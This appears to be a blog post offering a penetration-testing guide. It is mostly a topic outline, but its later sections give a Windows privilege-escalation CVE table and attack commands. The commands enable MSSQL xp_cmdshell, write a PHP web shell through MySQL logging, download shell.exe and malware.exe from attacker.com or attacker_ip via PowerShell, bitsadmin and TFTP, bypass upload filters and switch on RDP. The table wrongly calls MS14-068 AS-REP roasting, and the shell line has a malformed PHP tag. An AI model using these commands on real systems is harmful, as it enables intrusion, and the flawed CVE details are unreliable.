Comprehensive Guide to Penetration Testing: From Fundamentals to Advanced Exploitation

Core Domains of Penetration Testing

Effective penetration testing requires mastery across multiple technical domains. The foundational pillars include:

Web Security: Attacks targeting HTTP-based applications
Binary Security: Reverse engineering, exploit development, and memory corruption
Cryptography: Understanding encryption, hashing, and key exchange protocols

Supporting Knowledge Areas

Software development practices and code analysis
Relational and NoSQL database architectures
Proficiency in scripting and programming languages (Python, JavaScript, PHP, Java)
Digital forensics and steganography techniques
Network protocols (TCP/IP, DNS, HTTP/HTTPS) and routing algorithms
Data structures and algorithmic efficiency for tool optimization
Understanding open-source tools at the source level to build custom utilities

Web Security Deep Dive

Injection Vulnerabilities

SQL Injection: Manipulating database queries via input fields
XSS (Cross-Site Scripting): Injecting malicious scripts into web pages viewed by others
XXE (XML External Entity): Exploiting XML parsers to access internal files or perform SSRF
Command Injection: Executing OS commands through vulnerable application inputs
File Upload/Download: Bypassing restrictions to upload malicious payloads or extract sensitive data

Information Disclosure

Source code leaks via .git, .svn, or backup files
Exposed API endpoints revealing internal structures
Leaked employee credentials or organizational hierarchies
Server banners, error messages, or header leaks disclosing software versions

Logic Flaws

Privilege escalation through improper access control
Time-of-check/time-of-use (TOCTOU) race conditions
Data tampering via parameter manipulation or replay attacks

HTTP Protocol and Web Server Internals

HTTP Structure

Request Headers: Host, User-Agent, Cookie, Authorization
Response Headers: Content-Type, Set-Cookie, Server, Cache-Control
Request Body: Form data, JSON, XML payloads
HTTP Methods: GET, POST, PUT, DELETE, OPTIONS, HEAD, TRACE

Web Server Architecture

Common servers: Apache, Nginx, IIS, LiteSpeed
Request parsing: URI routing, MIME type handling, module loading
Security misconfigurations: Directory listing, default files, outdated modules

Programming and Data Layer Fundamentals

Frontend: HTML5, CSS3, JavaScript (including DOM manipulation and event handling)
Backend: PHP (session handling, file inclusion), Java (Servlets, Spring), Python (Flask, Django)
Databases: MySQL (SQLi vectors), PostgreSQL, MongoDB (NoSQL injection), Redis

Reverse Engineering and Binary Exploitation

Assembly language (x86/x64, ARM) and instruction set architecture
Compiler phases: Lexical analysis, parsing, code generation
OS boot process, memory layout, and process execution context
PE/ELF file structure and symbol resolution

Vulnerability Discovery and Exploitation Methodology

Reconnaissance: Port scanning (nmap), subdomain enumeration (Amass), code leakage detection (GitHub dorks)
Proxy tools: Burp Suite, ZAP for intercepting and modifying requests
Browser extensions: HackBar, Cookie Editor, NoScript for manual testing
Infrastructure: Cloud VPS for hosting payloads and C2 servers
Business logic analysis: Mapping user roles, workflows, and state transitions
Architecture review: Identifying APIs, microservices, CDN, WAF, and authentication layers
Threat modeling: Listing potential attack vectors per component
Deep packet inspection: Analyzing every request/response for anomalies
Single-vector exploitation: Gaining shell via SQLi, RCE, or file upload
Combinatorial exploits: XSS + CSRF for session hijacking, SSRF + File Read for credential extraction

Cryptography Essentials

Classical Ciphers: Caesar, Vigenère, substitution ciphers
Symmetric Encryption: AES (CBC, GCM), DES, 3DES — key management and modes
Asymmetric Encryption: RSA (key generation, padding), ECC — digital signatures and key exchange
Hash functions: MD5, SHA-1, SHA-256 — collision resistance and rainbow tables

Windows Privilege Escalation Techniques

Exploiting known kernel and service vulnerabilities to elevate privileges:

CVE/KB	Description	Target OS
MS17-010	EternalBlue — SMBv1 remote code execution	Windows 7, 2008, 2003, XP
MS16-075	Hot Potato — Local privilege escalation via named pipes	Windows 2003–2012, 7, 8
MS16-098	Kernel driver handle manipulation	Windows 8.1
MS14-068	Kerberos AS-REP roasting — domain privilege escalation	Windows Server 2003–2012, 7, 8
CVE-2017-0213	COM Elevation of Privilege	Windows 10, 8.1, 7, Server 2016

Command Execution and Shell Acquisition

Enabling xp_cmdshell in MSSQL

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

MySQL Log-Based Shell Upload

SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';
SELECT '<?php system($_GET["cmd"]); ??>';
SET GLOBAL general_log = 'OFF';

File Transfer Methods

Python HTTP Server:
- Python 2.4+: python -m SimpleHTTPServer 8000
- Python 3.x: python -m http.server 8000
PowerShell: Invoke-WebRequest http://attacker.com/shell.exe -OutFile shell.exe
BitsAdmin: bitsadmin /transfer n http://attacker.com/malware.exe C:\temp\malware.exe
TFTP: tftp -i attacker_ip GET payload.exe

File Upload Bypass Techniques

Double extensions: shell.php.jpg
Null byte injection: shell.php%00.jpg
Content-Type spoofing: image/jpeg for PHP files
Filename encoding: URL encoding, UTF-8, or Unicode
Server-side parser tricks: .php5, .phtml, .php7
Upload via metadata: EXIF data in images

Windows Remote Desktop Configuration

Enable RDP on legacy systems:

REM Windows 2003 / XP
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Alternative via WMI:

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

Tags: penetration-testing web-security sql-injection XSS reverse-engineering

Posted on Fri, 18 Sep 2026 16:53:13 +0000 by drummerboy

Freaks City